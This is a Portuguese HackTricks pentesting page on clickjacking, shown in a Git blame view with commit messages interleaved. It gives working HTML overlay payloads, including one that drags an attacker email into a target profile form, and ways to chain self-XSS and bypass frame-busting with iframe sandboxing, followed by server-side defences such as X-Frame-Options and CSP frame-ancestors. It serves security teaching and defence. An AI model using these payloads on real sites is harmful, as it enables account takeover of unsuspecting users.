Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-19 01:24:50 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/clickjacking.md

226 lines
12 KiB
Markdown
Raw Normal View History

GitBook: [#3240] No subject
2022-06-06 22:28:05 +00:00
# Clickjacking
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Outras maneiras de apoiar o HackTricks:
Translated ['pentesting-web/browser-extension-pentesting-methodology/REA
2023-12-31 04:31:34 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
</details>
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
GitBook: [#3240] No subject
2022-06-06 22:28:05 +00:00
update
2023-01-01 16:19:07 +00:00
\
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas** do mundo.\
Acesse hoje:
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
update
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
GitBook: [#3240] No subject
2022-06-06 22:28:05 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
## O que é Clickjacking
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Em um ataque de clickjacking, um **usuário** é **enganado** para **clicar** em um **elemento** em uma página da web que está **invisível** ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['pentesting-web/browser-extension-pentesting-methodology/REA
2023-12-31 04:31:34 +00:00
### Truque de pré-preenchimento de formulários
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
2023-09-28 19:21:57 +00:00
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
GitBook: [master] 2 pages modified
2020-10-13 11:29:54 +00:00
Translated ['README.md', 'cryptography/certificates.md', 'forensics/basi
2023-09-03 18:16:00 +00:00
### Preencher formulário com Arrastar e Soltar
GitBook: [master] 2 pages modified
2020-10-13 11:29:54 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['pentesting-web/browser-extension-pentesting-methodology/REA
2023-12-31 04:31:34 +00:00
### Payload Básico
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
<style>
Translated ['README.md', 'cryptography/certificates.md', 'forensics/basi
2023-09-03 18:16:00 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
### Carga Única
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
<style>
Translated ['README.md', 'cryptography/certificates.md', 'forensics/basi
2023-09-03 18:16:00 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
### Arrastar e Soltar + Payload de Clique
GitBook: [master] 2 pages modified
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
GitBook: [#3240] No subject
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Se você identificou um ataque de **XSS que requer que um usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável ao clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** ao **Clickjacking** e você pode **pré-preencher** o **formulário** com os parâmetros GET._
__Um atacante poderia preparar um ataque de **Clickjacking** para essa página **pré-preenchendo** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário for enviado** e os valores forem modificados, o **usuário executará o XSS**.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
## Estratégias para Mitigar o Clickjacking
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
### Defesas do Lado do Cliente
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Scripts executados no lado do cliente podem realizar ações para prevenir o Clickjacking:
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
* Garantir que a janela da aplicação seja a janela principal ou superior.
* Tornar todos os frames visíveis.
* Impedir cliques em frames invisíveis.
* Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
No entanto, esses scripts de quebra de frames podem ser contornados:
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
* **Configurações de Segurança dos Navegadores:** Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte ao JavaScript.
* **Atributo `sandbox` do iframe HTML5:** Um atacante pode neutralizar scripts de quebra de frames definindo o atributo `sandbox` com os valores `allow-forms` ou `allow-scripts` sem `allow-top-navigation`. Isso impede que o iframe verifique se é a janela superior, por exemplo,
```html
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
As valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
### Defesas do Lado do Servidor
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
#### X-Frame-Options
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
O cabeçalho de resposta HTTP **`X-Frame-Options`** informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir o Clickjacking:
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
- `X-Frame-Options: deny` - Nenhum domínio pode enquadrar o conteúdo.
- `X-Frame-Options: sameorigin` - Apenas o site atual pode enquadrar o conteúdo.
- `X-Frame-Options: allow-from https://trusted.com` - Apenas o 'uri' especificado pode enquadrar a página.
- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
#### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção contra Clickjacking:
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
- `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
Por exemplo, a seguinte CSP permite apenas o enquadramento do mesmo domínio:
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
`Content-Security-Policy: frame-ancestors 'self';`
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Mais detalhes e exemplos complexos podem ser encontrados na [documentação da CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação da CSP frame-ancestors da Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Política de Segurança de Conteúdo (CSP) com `child-src` e `frame-src`
A **Política de Segurança de Conteúdo (CSP)** é uma medida de segurança que ajuda a prevenir o Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir carregar conteúdo.
#### Diretiva `frame-src`
- Define fontes válidas para frames.
- Mais específico do que a diretiva `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
#### Diretiva `child-src`
- Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
- Atua como um fallback para frame-src e worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
**Notas de Uso:**
- Descontinuação: child-src está sendo substituído por frame-src e worker-src.
- Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.
- Definição de Fonte Estrita: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
#### Scripts JavaScript de Quebra de Frames
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Embora não seja totalmente à prova de falhas, scripts de quebra de frames baseados em JavaScript podem ser usados para evitar que uma página da web seja enquadrada. Exemplo:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Utilizando Tokens Anti-CSRF
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
* **Validação de Token:** Utilize tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não por meio de uma página Clickjacked.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
## Referências
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
fix bad chars
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
2024-01-10 07:09:16 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
GitBook: [#3240] No subject
2022-06-06 22:28:05 +00:00
update
2023-01-01 16:19:07 +00:00
\
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
GitBook: [#3240] No subject
2022-06-06 22:28:05 +00:00
update
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Translated ['pentesting-web/browser-extension-pentesting-methodology/REA
2023-12-31 04:31:34 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
Outras formas de apoiar o HackTricks:
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh
2024-02-06 04:06:53 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
</details>
Reference in a new issue Copy permalink